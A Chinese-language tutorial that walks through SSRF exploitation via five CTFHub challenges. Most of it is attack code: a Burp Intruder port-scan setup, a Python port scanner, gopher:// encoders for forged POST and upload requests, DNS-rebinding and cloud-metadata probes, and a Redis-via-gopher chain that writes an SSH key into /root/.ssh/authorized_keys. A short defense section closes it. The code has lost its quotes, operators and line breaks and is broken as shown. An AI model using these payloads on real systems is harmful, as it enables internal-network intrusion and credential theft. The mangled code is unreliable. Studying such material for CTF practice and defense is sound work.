从CTFHub五道题出发,手把手教你用BurpSuite和Python脚本实战SSRF漏洞(附完整代码)
从CTFHub五道题实战SSRFBurpSuite与Python自动化攻击指南在渗透测试领域SSRF服务端请求伪造始终是攻击者突破内网边界的重要武器。不同于传统漏洞利用SSRF需要测试者具备协议转换、请求构造和自动化处理等复合能力。本文将基于CTFHub经典五道题深入演示如何结合BurpSuite的高级功能和Python脚本实现SSRF漏洞的自动化利用涵盖端口扫描、协议转换、请求伪造等实战场景。1. 环境准备与工具链配置1.1 基础环境搭建推荐使用Kali Linux作为测试环境预装以下工具BurpSuite Community/Professional用于请求拦截、修改和爆破Python 3.8运行自动化脚本curl/wget快速验证请求有效性# 安装Python依赖库 pip install requests urllib3 pycurl1.2 BurpSuite关键配置在Proxy - Options中启用Intercept Client Requests添加以下规则确保捕获所有流量^.*$在Project options - Connections中设置上游代理如有需要并调整线程数至50Professional版可更高配置项推荐值Maximum threads50Retries3Timeout10000 ms2. 内网探测与端口扫描自动化2.1 Intruder模块高效爆破针对CTFHub第三题的端口扫描需求按以下步骤配置Burp Intruder捕获基础请求后发送至Intruder选择Sniper攻击类型标记端口参数GET /?urlhttp://127.0.0.1:§0§ HTTP/1.1在Payloads标签中选择Numbers类型设置Range: 8000-9000Step: 1优化技巧在Settings - Grep - Extract中添加flag关键词匹配启用Payload Encoding避免特殊字符干扰2.2 Python多线程扫描脚本对于非HTTP协议如dict可使用以下脚本加速探测import concurrent.futures import requests def scan_port(port): try: r requests.get(fhttp://target.com/?urldict://127.0.0.1:{port}, timeout3) if redis in r.text: # 识别特定服务 return fPort {port}: Redis detected except Exception as e: pass return None with concurrent.futures.ThreadPoolExecutor(max_workers50) as executor: ports range(8000, 9001) results list(executor.map(scan_port, ports)) print([r for r in results if r]) # 只输出有效结果3. Gopher协议高级利用技术3.1 HTTP到Gopher的协议转换CTFHub第四题需要构造POST请求关键步骤包括原始HTTP请求模板POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 keyb73cfcee3cb5781edf09a058769527f5使用以下Python脚本进行二次URL编码from urllib.parse import quote def gopher_encode(http_payload): crlf_encoded http_payload.replace(\n, \r\n) once_encoded quote(crlf_encoded) twice_encoded quote(once_encoded) return fgopher://127.0.0.1:80/_{twice_encoded} print(gopher_encode( POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 keyb73cfcee3cb5781edf09a058769527f5 ))3.2 文件上传的Multipart处理第五题涉及文件上传需要特殊处理boundaryimport urllib.parse def encode_multipart(boundary, fields, files): payload [] for name, value in fields.items(): payload.extend([ f--{boundary}, fContent-Disposition: form-data; name{name}, , str(value) ]) for name, file_content in files.items(): payload.extend([ f--{boundary}, fContent-Disposition: form-data; name{name}; filenametest.txt, Content-Type: text/plain, , file_content ]) payload.append(f--{boundary}--) return \r\n.join(payload) boundary ----WebKitFormBoundaryABC123 fields {aaa: 提交查询} files {file: test content} multipart_data encode_multipart(boundary, fields, files) http_request fPOST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary{boundary} Content-Length: {len(multipart_data)} {multipart_data} print(gopher_encode(http_request)) # 复用前文的gopher_encode函数4. 防御绕过与高级利用4.1 DNS重绑定技术当目标校验Host头时可使用DNS重绑定配置可控DNS服务器如使用rbndr.us构造特殊域名http://7f000001.0x7f.1.0x7f.1.rbndr.us/flag.php其中7f000001是127.0.0.1的十六进制表示4.2 非HTTP协议利用除gopher外这些协议也值得关注协议用途示例dict探测Redis/MySQL等服务dict://localhost:6379/infoftp尝试匿名登录ftp://anonymouslocalhostldap查询目录服务ldap://localhost:3894.3 云服务元数据API探测针对云环境可尝试访问元数据接口cloud_apis [ http://169.254.169.254/latest/meta-data/, http://metadata.google.internal/computeMetadata/v1/, http://169.254.169.253/latest/meta-data/ ] for api in cloud_apis: try: r requests.get(fhttp://target.com/?url{api}, timeout3) if instance-id in r.text: print(fCloud API exposed: {api}) except: pass5. 实战案例与防御建议5.1 真实漏洞利用链构建某次渗透测试中的完整流程发现SSRF漏洞点如PDF生成服务通过file:///proc/self/environ获取环境变量识别内网Redis服务端口6379使用Gopher协议写入SSH公钥redis_cmd flushall config set dir /root/.ssh/ config set dbfilename authorized_keys set x \\n\\nssh-rsa AAAAB3N...\\n\\n save quit gopher_payload gopher_encode(redis_cmd.replace(\n, \r\n))5.2 防御方案设计企业级防护应实施多层控制网络层出口防火墙限制Web服务器出站流量关键内网服务设置白名单ACL代码层// Java示例URL过滤 public static boolean isValidURL(String url) { return !url.matches((?i)^(file|gopher|dict|ftp)://.*) !url.startsWith(127.) !url.startsWith(192.168.); }架构层请求代理服务部署在独立DMZ区实施请求签名校验如HMAC在BurpSuite的实战配置中建议创建Match and Replace规则自动拦截危险请求MatchReplaceCommenturlfile://urlhttp://阻断文件协议请求127.0.0.10.0.0.0替换本地回环地址